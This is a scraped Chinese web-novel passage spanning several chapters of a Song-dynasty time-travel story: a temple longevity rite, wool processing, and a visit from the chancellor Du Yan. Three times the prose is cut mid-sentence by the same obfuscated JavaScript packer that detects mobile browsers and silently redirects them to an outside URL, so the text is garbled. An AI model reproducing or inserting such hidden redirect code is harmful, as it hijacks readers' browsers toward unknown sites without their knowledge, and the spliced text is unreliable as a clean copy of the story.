今日是十一月十五，也是长生禄位的供奉仪程的日子。 裹上家中给做的羔羊皮袄，下身套着双层夹锦裤，脚蹬鹿皮靴。吴悦又将早上煨在灶膛里的鹅卵石装进细棉布囊里，揣在袖中取暖。 今日前去五岳观的队伍很是庞大，连甚少出门的祖母都乘车同行，再加上刘耘娘，以及她三人。吴父今日也特意告假，骑马在外面缓缓护行，哥哥也是向先生请了假随行。她爹对吴夏的教育素来讲究文武兼修，即便日后要走科举之路，骑射功夫也断不可荒废。 五岳观坐落于城北景阳门外道东的瑞圣园内，离她们所住的医者街并不算远。牛车居然只用了小半个时辰就到了五岳观前街的廊下区域，而她们需要走路步行进入道观。她迫不及待的从车上跳了下来，发现身边已经有不少的车马停靠，观前居然形成了热闹非凡的市集，一派生机勃勃的商业景象。 有人售卖鱼龟等活物供香客放生，有书生打扮的人在现场书写祈福文书，还有一些饮食摊点卖着糖瓜、枣糕以及热乎乎的引子。亦有一些卖香烛纸钱、神像经卷、护身符与法物的摊位。 当然这些临时占道的民间流动摊位可不是随便停的，需要缴纳临时占道费。 吴悦被刘耘娘拉着走向观门，从正门三山门进入，首先映入眼帘的是笔直的石板路。广场上虽开阔，却挤满了信男信女。 一家五口被小道童引着去了题写着"祈福殿"的大殿内，一位身着绛纱袍、头戴五岳冠、手持玉简的高功已在此等候多时。 高功就是是主持法事的道长，还有都讲、监斋以及知磬在旁协助。 由于她已经6岁，不是没有行动能力的幼儿，故此，今天的仪式都需要她自己完成，而非由父母代劳。 脱下外面的羔羊皮袄，露出内衬绣有龟鹤、仙桃等吉祥纹样的红色衣衫。 走到坛前，向长生禄位牌行三跪九叩礼后，跟随高功复述《北斗延生经》片段。随后，高功将象征"玉液长生"的小玉片置于让她含着，又取五色丝绦系于她的手腕，谓之“续命缕”，这需连续佩戴七日。再以朱砂在她额心点北斗七星纹。 而吴父与刘耘娘则举着“三牲”（也就是鸡、鱼、猪肉）、时令水果及长寿面代她献上。 最后高功以桃木剑轻触她的头顶，朗声念诵“天尊护佑，寿元永昌”，并将写有她生辰八字的表文焚化于香炉。 至此，长生禄位供奉仪程即告完成。 终于可以穿上保暖的羔羊皮袄，她依偎着兄长，哆嗦了好一阵子，才慢慢恢复正常体温，现在她也才有精力仔细观察这个大殿。 主神龛供奉着北斗星君，两侧整齐排列着密密麻麻的长生禄位，便于香火常年供奉。而她的禄位也被高功摆放在左首最下列的首位。 吴悦心中暗暗感慨石介的脸面还真大，居然能在这么紧张的时间里，快速给预约了个专场，并且把她的禄位放在最前面。这么近，字体还这么大，看得这么清晰，只觉得美滋滋，这个钱没白花。 这就是个美丽的误会了，如此严寒天气不利于那些刚出生没多久的婴孩出门，家中长辈都等着春暖花开之时再办仪式。而且，依照古礼，最上层才为尊位。 她觉得自己的禄位字大显眼，那也是因为这是个小娘子，闺阁中的名字不能外传，又是寒门出身，只能写着吴家幺女这么简单的四个字。 和其他幼童有名有姓，还特意镌刻着"某郡某氏几世孙"比起来，她的禄位就像一个没有发表没有项目的白板老师，却挤在一群手握c刊社科的大佬中间，那确实看着就显目。 现在殿里只剩他们兄妹俩人。吴父带着她娘和祖母，在仪式结束后就去南岳殿，为身怀六甲的大姐祈福，祈愿顺产平安。走前还特意叮嘱他俩不要乱跑，就在殿中等待。 吴悦稍复精神便按捺不住，立生探索之心，悄悄溜至后殿探看，想看后面通向哪里，却看到自后殿侧廊走来一位穿着绛紫道袍的老道长——其袍服交领右衽，袖口绣北斗七星纹，下摆饰山海云气图。身旁随行的年轻人则着绯色圆领窄袖袍，头戴黑色漆纱幞头，腰间佩刀熠熠生辉。 她速度的扭头跑到还在观详堂中装饰的吴夏，拉了拉他的下摆。 恰在此时，佩刀青年与紫袍道长转过门廊，缓步趋近。 看到身着绛紫道袍配九梁巾，法衣则绣星官图的紫袍道长，吴夏忙趋前几步，稽首道："无量寿福，见过观主。"又向绯袍人长揖："见过大人。" 吴夏也随兄长揖礼。 那个年轻人只是淡淡瞥了他们一眼，便拔腿离去。五岳观主稽首还礼后，随后亦步出殿外。 这好像就是一个小插曲，二人身影很快消失在廊柱尽头。 但是吴悦却心痒痒的，她现在知道了这紫袍人就是五岳观的观主，却还小心翼翼陪同着那个黑脸佩刀男。尤其是他还穿着绯色罗袍，这可是三品以上官员的才允许穿的颜色。这么个年轻人，怎么能官至三品。 她又拽了拽兄长衣袖，目光灼灼似有千言。 吴夏心领神会，弯腰小声地在她耳旁说："那是御前班直。" 御前班直是皇帝的贴身护卫，由殿前司精锐中遴选而出。每日轮值三百人扈卫圣驾，他们也兼掌典礼仪仗、刺探情报。由于近君则贵，可以被特许穿着正三品以上才能使用的绯色。 “哦，那他来干嘛的？”她接着问。 “正月十四，乃‘天官校定''吉日，听闻官家会携着宫中内人一起祈求皇嗣。” 啥？吴悦瞠目结舌，生不出儿子还要专门来求子？如果是她，她肯定不会做，这不是给天下人明说他不行吗？ 仁宗生了五个儿子，都夭折了，今年已经34岁，后宫却没有一个皇子，当然很是焦急。每年还会有"内人求嗣"的专项经费，从内藏库，也就是就是宋仁宗的私库里拿出十万贯充给五岳观当做香火。 而内人指的就是后宫妃嫔，只有四品以上嫔妃才有资格参加此等国祀。换言之，正月十四那日，宋仁宗要带上他后宫四品以上的嫔妃来五岳观，设求子坛祈求皇嗣。 这求嗣的过程也颇为有趣，后宫嫔妃会用金盘承接“玉露”，就是那普通露水，跪拜北斗七星，寓意吸收星辰灵气以助生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609440|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育。然后再以青罗帕包裹柏子，就是中药柏子仁，但是取个百子的好谐音，投入金瓶，若得偶数则为吉兆。 可惜。 吴悦望着神龛上的北斗星君。 从今年算起，未来十二年里，仁宗的后宫里不会再生出一个孩子。他最后执政的8年，因为被包拯等人催着立皇太子，拼了把老命，却生了5个女儿。 突然觉得他有点可怜，还要大办特办求子坛，给全天下人看他在努力。 好吧，正月十四她也要来凑凑热闹，来近距离感受下宋仁宗求子的氛围。 --------------------- 从五岳观回来，吴悦抛着刚刚在观内买的特制的香印，蹦蹦跳跳的进了后院，刚好看到大丫背着一个包裹往外走。 “去哪啊？”她好奇的问，目光落在那鼓囊囊的包袱上。 大丫慌忙放下包裹：“我娘拾掇了几件之前旧衣裳，让我给我们后面的邻居送去。“说着便要解开包袱，"小娘子你瞧，都是我们的旧服。" 入冬后，刘耘娘就给她们各做了两身新衣服，之前的旧衣服杨氏也不舍得扔，就全留了下来，想着周济邻里。 “我又没说这不是旧衣，慌什么。”见她额头都沁出细汗，吴悦连忙安抚道。 “这两天下雪，木柴又贵，翠姐姐的阿婆还病倒了。”大丫攥着包袱角小声解释。 "我娘说要是熬不过这场寒...怕她们家过不去冬。"她垂着眼嘟囔着，生怕被误解手脚不干净，然后把她们赶走。 大丫很珍惜现在的生活，每天有饭吃，有暖暖的床睡，屋顶也不会漏风漏雨，现在才是活着的感觉，她觉得自己似乎是个人。 “那你快去吧，这天色阴得紧，说不定待会儿还要下雨。” 这翠姐姐，吴悦倒是听过，当时杨氏被地痞上门骚扰纠缠时，还是这个十五岁的少女带着一群街坊小子来帮忙。不过也是个可怜人，家中只有寡母和一个病恹恹的阿婆，虽说有个弟弟，也才刚刚八岁，又能做得了什么呢？ “等等”。 大丫正准备走，吴悦忽得喊住了她，指着厨房说：“家里还有昨天剩下的乳清，你给她们一起捎去。” 乳清是做酸奶剩下的，可以直接煮熟喝，也可以代替水揉到面团里做面包。 不过这两天她因为五岳观的事还挺忙，就没有心思折腾土窑。 “你和她们说了可以买点羊奶来喝吗？”吴悦又问。 大丫点点头：“与翠姐姐说过，但是她也没钱去买。所以她每天都会去给羊打草，然后给屠夫送去，那屠夫就拿一罐羊奶抵了草钱。” “羊奶也可以煮了给病人喝，很有营养。以后如果乳清还有剩，你就拿给她们吧，让她们好好养好身体，渡过这个冬天。明年咱们店铺扩招，还需要收点人手呢。” 这倒是真话，她们吴氏酪香现在可是汴梁城最受欢迎的食店。甚至有闲汉只送她们家的外卖，连被关在国子监里不能外出的生员，都会特意派家中仆人前来订餐。 “我替她们谢谢小娘子。”大丫听闻眼睛都亮了起来。在这难熬的冬季，这就是一个希望，一个能给人坚持下去的理由。攥紧包袱，步履轻快如燕，恨不得即刻将喜讯告知于人。 26. 第 26 章 目送大丫雀跃的身影消失在大门，吴悦又抬头望向阴沉沉的天。 这两日雨雪交加，还裹挟着凛冽的寒风，连她阿婆都念叨着，之前从没这么冷过。大家都以为这只是偶尔的一次冷冬，谁都不以为意。但是她知道，这才是气候异常的开始。 后世的历史气候学研究表示，北宋初年至仁宗朝中期，正值中世纪暖期，气候整体温润。 南方地方比如太湖流域，还有种植柑橘的记录，柑橘只能在温暖的地方种植，这就证明冬季气温较高。除此之外，史料也记载黄河流域竹类生长范围较广，从侧面印证了气候湿润温暖。 但是仁宗朝后期，也就是从今年开始，气温会开始持续走低，极端寒冷事件频发。史载太湖冰层厚达数尺，车马可通行其上；淮河流域冬季也出现了结冰现象；华北地区的霜冻、降雪日数也显著增加，这些都导致导致农业生长期大幅缩短，影响粮食收获。 受气候过渡期大气环流不稳定等因素影响，北宋中后期旱涝灾害频发。等她三十岁时，黄河流域四十年内将发生十七次大规模决溢，史载洪灾致使河北路"漂没田庐十万余顷"。长江流域则会出现连续五年大旱，可谓是“江南诸州井泉涸竭，民多渴死”。 这种气温下降与降水异常的叠加效应，会直接导致北方冬小麦减产，南方双季稻种植受洪涝威胁，粮食供应波动频繁。气候变迁也使北方游牧民族同样面临生存危机，促使他们南下劫掠。 王安石变法期间推行的"农田水利法"，便旨在应对气候灾害。据后世的历史学者研究与统计，变法前，全国淤田总面积多达2500万亩左右，颁布后的七年内，兴修的水利工程多达一万多处，无数盐碱地通过灌淤改造为良田。 短短十余年间，“农田水利法”给宋王朝增添了一亿多亩农田，按最低亩产量计算，即每年可以增收约976.8万—1361.6万吨粮食，理论上可满足约4000万—7000万人的基本需求，即北宋差不多一半的人口。 故有诗云:"万户康宁五谷丰，江淮相接连山东"就是反映了此法对农业经济的巨大利好。 因为王安石特别热衷兴修水利工程，他的政敌——保守派的士大夫们就编了不少段子冷嘲热讽他政策劳民伤财，暗喻他人格偏执。 文彦博，没错，又是那位凭借温成皇后张氏裙带关系跻身中枢的人物，宣称：“朝廷须与士大夫共治天下”，反对绕过官僚体系直接动员民众。 因为王安石的农田水利法允许地方官和民众直接提议工程，打破了传统“中枢决策再下达州县执行”的流程。 如果说前期主线任务是活着进宫当太后，后期主线任务则是治水抗旱治脑残。 真是完美的人生，与人斗智，与天争命。 这才是女人该走的路！ 站在院子里，冷风直往肚子里灌，她连着打了几个喷嚏，这才把飘忽的思绪拽回当下，怎么能这么早就为未来焦虑！倒不如想想怎么御寒，琢磨琢磨如何废物利用没人要的羊毛。 倒不是她不知道棉花的好，只是现在木棉虽然已在岭南及云南部分地区种植，但其纤维短且难以纺织。 我们后世所说的棉花其实是草棉，这并不是个稀罕玩意，早在汉晋时期新疆已有棉花种植，唐代西域高昌（现在的吐鲁番）更广泛种植，并生产“白叠布”（棉布），但主要供应当地及河西走廊，也就是现在甘肃省西部，还包括了现在的敦煌、张掖及酒泉。 而当前，回鹘政权控制的西州也依旧种植草棉，但是由于西夏崛起阻隔交通，占据河西走廊全境，切断了西域与中原的棉布贸易通道，致使中原难以获取此物。加上士大夫阶层偏爱丝绸，棉布被视为边疆“蛮夷之物”。 羊毛也是一样的处境。 羊毛的加工和利用更多见于西北和北方的游牧民族（如党项、契丹、吐蕃等），在现在已经有了毛毯、毡帐、褐衣等制品。毛毡因兼具防水与保暖特性，被广泛用于帐篷、鞍垫等物。 但是这仅限于边境贸易流通，且处于粗加工阶段，其质地较丝绸锦缎粗糙，易磨伤皮肤。故而西北边防才会使用毛毡御寒，而文人雅士则因其不够雅致而不屑使用。毛织技艺就没有传入中原，也没有被官方推广，因此民间百姓并不知道该如何处理这些被刮下来肮脏的羊毛。 她其实也不知道后世的具体工艺，只隐约记得羊毛需经化学药剂处理，才能变得柔软顺滑，再辅以纺车就可以制成毛线，然后织成毛衣。 这时，突然头顶传来喵喵的叫声，吴悦抬头一看，原来是经常来她家讨食的三花。小跑着去了厨房，端出早上特意留下的羊奶，墙角常喂食处，退后了几步，等着猫咪下来。 这只猫是个自来熟，看只有她一人，还会跳到她面前任她抚摸。不过一发现其他人的声音，就立刻逃窜，尤其是刘耘娘。每次她娘只要看到她身边有猫，都会大声尖叫，而后就冲了过来，端着她的小脸看有没有被划伤，嘴里念叨着可不要被毁相了以后怎么嫁出去云云。 她双手托腮蹲在地上，看着咪咪喝的津津有味，这三花还时不时用后爪挠痒，细碎绒毛随着寒风飘至她眼前。 “别挠了，这么冷的天，你得留些毛保暖啦。” 鼓起腮帮，吴悦把面前漂浮的猫毛吹走。 忽而想起后世铲屎官们在网上交流着自家猫主子春天猫毛满天飞，是不是要吃点鱼油和生肉之类的补补。更有甚者拿收集了很久的猫毛做的毛线球、猫鞋、甚至还有人做了自家主子的缩小版挂件，拿猫毛给猫做小被子的。 "咦？"蓦地站起身，她蹙着眉头又回忆了下。 没错啊，这羊毛不就可以和猫毛一样处理吗？ “青枣！青枣！”提起裙子就往耳房冲。“走，咱们上街去！” 当然最后也没能如愿上街，因为家里长辈都在忙，没人带她。 吴父想着反正今天也告假了，就带着刘耘娘去食店巡视去了。吴夏把妹妹送回家后，就匆匆赶回上下午的大课。 吴悦因此只得细细叮嘱青枣，去市集买些羊毛回来，选那些干净的，不要沾惹上太多血渍和粪便的，再去买几斤便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609441|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜的皂角。 皂角是当前的民生必需品，已经形成了成熟的工艺，最便宜的才十文钱一斤。《宋会要辑稿》记载“皂角千石，以备急用”，就是说皇家的惠民仓会常年存储皂角，用于灾荒时赈济。 之所以强调挑选看起来比较洁净无污的羊毛，也是因为当前的北宋缺乏现代化学助剂，很难以彻底去除蛋白质污渍，太脏的羊毛就代表着更容易滋生细菌，对人健康不利。 可是，买完羊毛这半个月，每日不是雨雪交加，就是狂风呼啸。 今日看样子也是阴天，吴悦开始发愁，这羊毛可怎么晒啊。 羊毛处理起来倒不是很麻烦，先用清水浆洗一遍，然后用草木灰和皂角水混合的溶液浸泡清洗。这样去除羊毛脂和杂质后的羊毛更易梳理，且没有太多异味。将洗净晾干的羊毛平铺在草席上，用竹条或细树枝反复抽打，抽打时也要力度适中，避免纤维断裂。每抽打5-10分钟，要翻动羊毛并调整铺展方向，确保蓬松均匀。 当然也可以把羊毛放在粗布袋中扎紧袋口，用木槌垂直捶打布袋。每捶打2-3分钟后解开布袋翻动羊毛，重复操作直至感受到羊毛纤维恢复蓬松状态。 这个方法同样适用于羽绒服，若洗后羽绒结块不够蓬松，也可以用这个方法把羽绒重新锤打至蓬松。 如果想要制作被褥或衣物保暖内衬，就可以把打蓬松后的羊毛填入夹层，缝上固定针脚防止移位。 然而连续一个月阴雨连绵，半点阳光都没见到，她们只尝试着洗了少量羊毛，清洗后还只能放在灶台旁烘干，觉得羊毛已经被打散成功。青枣才拿着那点羊毛做了几双羊毛鞋垫，塞进鞋里试穿后，发现保暖效果不错。但吴悦始终觉得，只有经过阳光暴晒彻底消毒才更安心。 ----------------------------- 抱着书，她垂头丧气地跟着兄长走进教室。 二人等了片刻，未见石介身影，反倒是仆人前来传话："小娘子，先生请您去书房一趟。"。 吴悦带着疑惑前往书房，只见石介端坐在待客圆桌前，旁边坐着一位满头白发的老者。老人戴着居家便帽，身着深色便装，鬓发花白，胡子全白，看样子已年近七旬，端坐在角落，沉默不语，气质沉稳。 看到她进来，石介抬手示意身旁老者说道："这是杜相公，还不拜见。" "相公"是唐宋时期对宰相的尊称，吴悦闻言一怔，随即恭敬行礼。 这位被称作"百日相公"的杜衍，身世颇为传奇。 他是遗腹子，幼年时母亲改嫁，将他留在杜家。十五岁那年，因不堪兄长虐待，提剑砍伤兄长头部，导致后者血流不止，幸得姑姑及时解救。此后投奔母亲，却遭继父拒绝收留，只得在孟州、洛阳一带流浪。 后来被富户相里氏看中其仪表堂堂，不仅将女儿许配给他，还资助他读书求学。杜衍不负所望，进士及第后，被派往地方为官。他精于吏治，尤其擅长断案，注重实地调查，秉持"重证据、辨虚实"的原则，从不轻信片面之词。 27. 第 27 章 曾有宁化军守将未经核实，将一名犯人判处死刑。 杜衍复审时发现证据链存在漏洞，坚持要求守将重新审理，最终避免了一起冤案的发生。 秦地有一百姓报案称妻子失踪，杜衍亲自侦办此案，通过周密部署迅速锁定杀人凶手，在挖掘尸体时意外发现凶手此前杀害的另外两名妇人， 这些案子告破之快速一时震动朝野。 据史料记载，杜衍任御史中丞时曾经因为裁汰三司冗员，遭五百余吏员堵门闹事，在杜府外叫骂不止，甚至投掷瓦砾。面对暴力威胁，杜衍既未动用武力镇压，也未妥协退让，而是采取冷处理策略。 这也从侧面印证了他的地位难以通过常规弹劾手段动摇——因其为政清廉，从不营殖私产。 致仕后，竟无一处像样居所，在回车院（宋代官员卸任后临时寓所）一住便是十年。来访宾客只能与他同食粗茶淡饭：每餐仅粟饭一盂，佐以少量饼饵。 在杜衍任宰相时，曾将十余份皇帝"内降"（即绕过正常程序的私人请托）封存，最终当面呈交宋仁宗，迫使皇帝收回成命。这位一生清廉自守的名臣，临终时仅以一枕一席入殓，而备受后世称赞。 但是他怎么今日在石介这里？不需要在朝中主持政事吗？还是说已经被罢免了？ 杜衍爽朗大笑，面对好友石介的女弟子，表现得格外亲切。此前他曾两度造访石府，均是午后前来，仅见过吴夏及另外两名弟子，今日方得与吴悦初次会面。 原来，三日前，宋仁宗召见杜衍，告知将罢免其同平章事之职，贬为兖州知州，诏书也已经拟好，等待春节后颁布。因快值年节，特准杜衍暂居家中休养。 杜衍想到新春过后即将离京赴任，而石介这里的私塾也将放年假，遂今日专程前来，特意见一见这位闻名已久的女弟子。 “我不久后就要出任兖州，特来见见被徂徕和明富都交口称赞的小娘子。”杜衍虽遭贬谪，却神情自若。 年少时性格暴烈，曾用佩刀砍伤兄长头颅，被族人驱离家门。投奔生母又遭继父拒绝，十五岁便浪迹天涯。若非后来岳父慧眼识珠，资助其学业并将女儿许配给他，恐怕早已暴尸荒野。因此，这番少年磨难，使他养成了遇事三思的习惯，沉稳大气。 “听闻和小娘子交谈总能获益匪浅，不知今日会对我这同遭贬谪之人有何指教？” 石介此前被陷害遭罢免，又遭遇范仲淹被外放，深感变法无力，一度意志消沉。岂料在与这小娘子交谈后，竟如枯木逢春，重新振作了起来。 杜衍得知，大感兴趣，也想拿同样的问题问问这个小娘子，看她这次又会给出什么劝慰之词。 吴悦深深一躬，笑意盈盈道。 "杜相公在中枢执政是为民，赴兖州任职亦是为民。难道唯有东京百姓才是大宋子民，兖州百姓便不是吗？天下州县之民皆为官家之子，理当一视同仁。" 杜衍此人和她那个死劲头的师父不一样，被贬谪后杜衍也活到了八十岁，精神得很。而且，去兖州才好呢，这可是孔子故乡。有个公正廉明的前宰相亲往治理，正好可以约束孔氏那些宗族不生事端。 第四十六代嫡孙孔宗愿将在几年后被宋仁宗封为“衍圣公”，并于兖州下辖仙源县（曲阜）境内建造世袭府邸。之后仙源县这个地方将长期由孔氏子弟或姻亲担任，形成“孔府即官府”的地方统治模式。 而孔府凭借历代所赐祭田——宋代约百顷，明代增至近两千顷，清代更达三千六百余顷（分布于山东、江苏等多省），以及他们在这过程中通过各种手段兼并的土地，导致一县之田半入孔府，并且垄断地方经济，控制集市、酒坊等经济命脉，迫使佃户以高价购买孔府商品，使得当地的百姓过得很是疾苦。 吴悦对世修降表的衍圣公很是不屑。 金国和元朝打过来时，他们跪得快，清朝来时，他们跪得更快。 三月，崇祯帝刚刚吊死在了北京煤山，九月衍圣公孔衍植写的《初进表文》就快马送给了多尔衮，大赞清朝是“山河与日月交辉，国祚同乾坤并永，率土归城，普天称庆”。 次年，这位衍圣公又干脆利落的写了一篇《上剃头奏稿》，高度赞扬了剃发易服的正确性，全然不顾他老祖宗孔子"身体发肤受之父母"的古训。在江南抗清志士血溅屠刀之际，率族人欣然接受"金钱鼠尾"的满族发式。 最荒诞还得看近代，在清末山东沦为德国的殖民地之后。 1904年，衍圣公孔令贻将英王爱德华七世的画像迎入曲阜孔府供奉，并举行隆重仪式。1908年，他又将德皇威廉二世的画像迎入孔府，并奏乐庆祝。 气得章太炎发文痛斥：“山东士民为义和团,无为衍圣公！”批评孔府丧失气节，呼吁民众效仿义和团的抗争精神，而非追随衍圣公这等投降主义。 1938年，孔子第76代孙孔令煜还积极配合日军的活动，陪同他们参加了祭孔大典，现在网上还流传着他与小日子在孔府前的照片。 除了他们下跪投降速度如此惊人，衍圣公和孔氏一些族亲在山东还犯下诸多残害女性的罪行。 孔府内设有"婢女院"，大量贫苦人家女子被买进府中为婢，文献记载其制度为"终身为奴，婚配由主"。这里面到底啥猫腻，也就不用多说。 明成化年间，当时的衍圣公孔弘绪奸污凭借特权奸污乐籍女子四十余人，并虐待致平民死亡。 收到奏报的明宪宗勃然大怒，下令将孔弘绪押解进京审理。但是此举引来了文官的口诛笔伐，称孔弘绪身为至圣先师后裔，应免除手铐脚镣，使其体面进京。 最终在士大夫阶层的压力下，以“孔子之后，特事特办”的原则，仅将孔弘绪削去爵位，罢为平民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609442|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，让孔弘绪的弟弟弘泰承袭衍圣公爵位。 然而被罢黜的孔弘绪仍过着与往昔无异的奢靡生活，毫不受影响。只是可惜了那些被奸污的女子，一生都被毁了。 石介看向杜衍的眼神很是得意。 “我说这个弟子与众不同吧。” “难怪你如今春风得意。能得如此佳徒，确是为师者之幸。"杜衍颔首赞叹。作为著述讲学为业之人，培养出优秀弟子本就是人生一大幸事。 唤吴悦退下，石介才笑吟吟望着杜衍说道："你今日专程前来，恐不止为见我这学生吧？" 杜衍沉吟片刻，缓缓饮尽杯中茶，方才开口道：“官家也有意将你外放。” 石介本来在三月被罢黜官职，成为一介布衣，原以为将终老于杏坛。此刻突闻听此言，惊得手中茶盏微颤，脱口而出："外放至何处？"转瞬又忧形于色："若真如此，我新收的这些弟子该如何是好？半途中断学业..." “目前不知，官家只是向我透露风声，想必是想通过我告知于你。”杜衍抚摸着胡须，眯着眼睛抚须沉吟。 “如今朝中局势险峻，官家恐也拗不过那些人。希文（范仲淹）已修书于我，恳请转达他愿外放的意愿，官家也同意了。待过完正月，我们这一干人等怕是都要离京赴任咯。” 石介本来以为自己会因为变法失败而痛心疾首，却意外发现自己竟如旁观者般平静。非但没有悲戚之情，反而重燃斗志，恍若当年锐意变法时的激昂状态。 “我那弟子刚刚不是说了吗，为官者无论身处何地，皆当造福一方。只是...”他略作思忖。 若他日他真的赴任，势必是公务繁忙，难以再兼顾授业。决定了，现在需要趁外放诏令还未下达之前，对弟子们进行强化教学。采用填鸭式授课，虽然有拔苗助长的嫌疑，但是也可以命令他们先囫囵吞枣记下，日后再慢慢消化。 “我今日专程前来，一则见见你这女弟子，二则转达消息。见你心境豁达，我也就放心了。"杜衍继续抚须言道，"过几日希文（范仲淹）、稚圭（韩琦）、彦国（富弼）皆将返京，我等可邀上明富（孙复），大家一起聚上一聚。” 说罢缓缓起身，杜衍正准备告辞，忽然想起了什么，驻足回首笑着看向："常常听人说，吴氏酪香菜肴一绝，老夫至今还未品尝过，不知可否叨扰？" 石介笑应："妙哉！再喊上翼之（胡瑗），他天天窝在太学，门都不出。咱们到时候不醉不归！" 此刻的吴悦还不知晓，过段时间，四任宰执、三位鸿儒即将齐聚她家食店。 她正为睽违月余的朗朗晴空雀跃不已，若不是上午还有课业，恨不得立刻返家继续羊毛制品的制作。 唉。 也不能打电话发微信，通知青枣快把那些羊毛洗净拿出来晒，这可是难得的紫外线杀菌良机啊。 28. 第 28 章 一上午，她都有点心不在焉，时不时地看向窗外，以确认日头是否还高悬在上。 所幸，今日上午，石介也心神不属，只授课一个时辰便令弟子们自行研习，他则在讲案前写写画画，最终甚至宣布提前下课。 吴悦早已归心似箭，三步并作两步奔回家中。 只见庭院里早已晾满洗得雪白的羊毛。 原来早上一看出了太阳，青枣就记起小娘子一直念叨着什么太阳出来了紫外线可以杀菌的话，当即唤上大丫。两人一起把剩下的羊毛洗干净，然后铺开在院中竹席上晾晒。 “青枣，你可真棒！”吴悦喜不自胜，搂住青枣脸颊亲了一口，又抱着大丫也来了这么一下：“你俩帮了大忙了。” 把这两人粉腮通红，捂着脸颊嘿嘿傻笑。 然后一个中午加下午，三人就守着这难得的太阳，每隔半个时辰将草席上的羊毛翻晒一遍。 青枣甚至也将先前缝制的羊毛鞋垫拿出一起晒晾。 夕阳西下时，吴悦仍恋恋不舍地望着天际。 大丫见状安慰道："小娘子快看，今晚月明如昼，漫天星辰闪耀，明日定是好天气。” 第二天，司天监也适时发布预报。开封府未来月余皆为晴好天气，原定正月十四的仁宗巡幸五岳观大典可如期举行。 此后天气似要弥补此前的阴雨绵绵，连续多日晴空万里。正午时分穿着羊皮袄在阳光下行走竟会出汗，但吴悦还是不敢乱脱衣服，在这个没有特效药的古代，风寒可是小孩子夭折的第一大罪恶源头。 她再次让青枣外出收购羊毛，这次许多屠夫直接不要钱，让她们随便拿走。 ------------------------------ 原来冬天到了，草木凋零，要出城数十里外才可以打到草料，致使饲料价格飙升。城中的肉铺不堪成本重负，纷纷将圈养的活羊宰杀。她家也趁机买了好几头羊，存在仓库里，准备过年时吃。 这屠宰场里就堆满了没人要的羊毛，还需要找专人运出城丢弃。得知有人收购羊毛，屠户们自是求之不得。 吴悦一听，就立刻喊大丫速返外城的家中召集人手搬运羊毛。 大丫就把邻居翠姐姐，还有之前她跟着去拾柴的那些小子一起喊了去。众人齐心协力运了十余车羊毛，堆放在大丫家原来的院子里。 吴悦按捺不住兴奋，纠缠着她娘要出门，嚷嚷着要做大事。 刘耘娘也看女儿折腾了一个多月的羊毛，对她想做什么也猜了个一二出来，就派张阿牛把她接过去，晚上再送她回来。 等吴悦赶至城外大丫家时，只见除了院内羊毛堆积如山，角落里竟突兀地停放着一车羊粪。 她疑惑地问道：“这羊粪是怎么回事？” 此时的农人们早已知晓羊粪的肥田效果，采用“粪壤法”将羊粪与秸秆、草木灰、人畜粪便等混合堆沤自然发酵，制成高效有机肥。专营粪肥生意的“粪夫”会将收集的羊粪晒干后售予农民。一车干羊粪可换数十文钱，是城市贫民的重要收入来源之一。 照理说，羊粪早被粪夫及时收走了，怎么让他们给一起运回来了？ “小娘子有所不知，上个月连绵下雨，羊粪运输极为不便。官府又严令规定街道需“常净洁”，畜粪若堆积妨碍通行，那些屠夫还要需受罚。"说话的是个皮肤黝黑的少女，眼仁漆黑如墨，身着补丁摞补丁的灰布衣衫。 "就让我们一起推走，送到专门的粪池那，还省他们雇人的钱。” 羊粪含水量高，苏轼任杭州知州时曾建议“推广粪车形制，以竹篓盛粪防渗漏”。这雨天运粪易渗漏，粪水洒落街巷反要被官府罚款，因此粪夫宁可暂停收购。 这算是苦了屠宰场的屠夫们了，羊毛得花钱找人运走不说，羊粪也成了没人要的东西，挤占得场地寸土皆无，连宰杀活羊的空间都快没了。看到一些冤大头来说要买羊毛，忙不迭让他们连粪带毛一并拉走，还特意出借板车运送。 “快快快，那屠夫那里是不是还有？你们多运点回来。”听闻居然还有免费的羊粪，吴悦焦急地问：“还有别的地存放吗？我们寻个宽敞处堆放。” 还是刚刚那个回话的皮肤黝黑的少女站了出来，利落地说“可以拉到我家院子里堆放。” 吴悦歪头看向大丫，大丫立刻上前介绍："这就是我常提起的翠姐姐。" 少女憨憨的笑，对着吴悦福了福身："小娘子唤我翠兰便好，我父姓蔡。" "有劳翠兰姐姐。"吴悦从怀中荷包取出一贯钱递上，想了想，又接着补充。“你再去买些便宜皂角和草席，剩下的钱分给今日帮忙的这些人，告诉他们接下来的这几天，每日给他们二十文钱，来这里帮我做活。” 现在东京城里酒楼伙计日薪大概是四十文一天，茶馆跑堂亦相仿。 